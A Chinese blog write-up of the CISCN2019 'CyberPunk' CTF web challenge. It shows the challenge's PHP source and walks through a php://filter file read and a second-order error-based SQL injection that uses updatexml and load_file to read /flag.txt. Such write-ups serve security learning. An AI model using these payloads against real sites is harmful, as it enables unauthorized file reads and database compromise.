[CISCN2019 华北赛区 Day1 Web5]CyberPunk 二次报错注入

本文链接：https://blog.csdn.net/m0_64180167/article/details/133670041

buu上做点

首先就是打开环境开始信息收集

发现源代码中存在?file

提示我们多半是包含

我原本去试了试 ../../etc/passwd

失败了直接伪协议上吧

php://filter/read=convert.base64-encode/resource=index.php


confirm.php

search.php

change.php

delete.php

我们通过伪协议全部读取

我们提取关键信息

index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

confirm.php

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

首先进行判断

每个文件中都存在过滤即

$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

同时都是对

 if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))

进行处理但是我们能发现一个地方是没有进行处理的

在change.php的

    $address = addslashes($_POST["address"]);

是不存在正则处理的这里就给我们实现了注入的地方

这里的注入流程是这样的

我们使用报错注入

updatexml

我们首先通过输入 updatexml存入数据库

例如

' and updatexml(1,,0x7e,2)#

就会作为 adress 原封不动的存入数据库

这个时候我们再一次通过修改地址来修改

因为

其中的语句

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

会将原本的地址作为 old_address 输入

所以语句会修改为

$sql = "update `user` set `address`='".$address."', `old_address`='"' and updatexml(1,,0x7e,2)#"' where `user_id`=".$row['user_id'];

重点是在
`old_address`='"' and updatexml(1,,0x7e,2)#"'

这里

因为执行语句后 通过 updatexml() 会执行报错 

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }

这样我们就实现了注入

写入报错语句

对语句进行更新这样旧地址会输入到句子中

实现了报错

但是这道题不在数据库中。。。。。

也不知道师傅们怎么做出来的

使用 load_file()函数

' and updatexml(1,concat(0x7e,(select load_file('/flag.txt'))),3)#

实现了报错

但是长度不够

我们通过substr即可

' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),3)#

这道题确实不是特别难但是其实还是不是很简单。。。。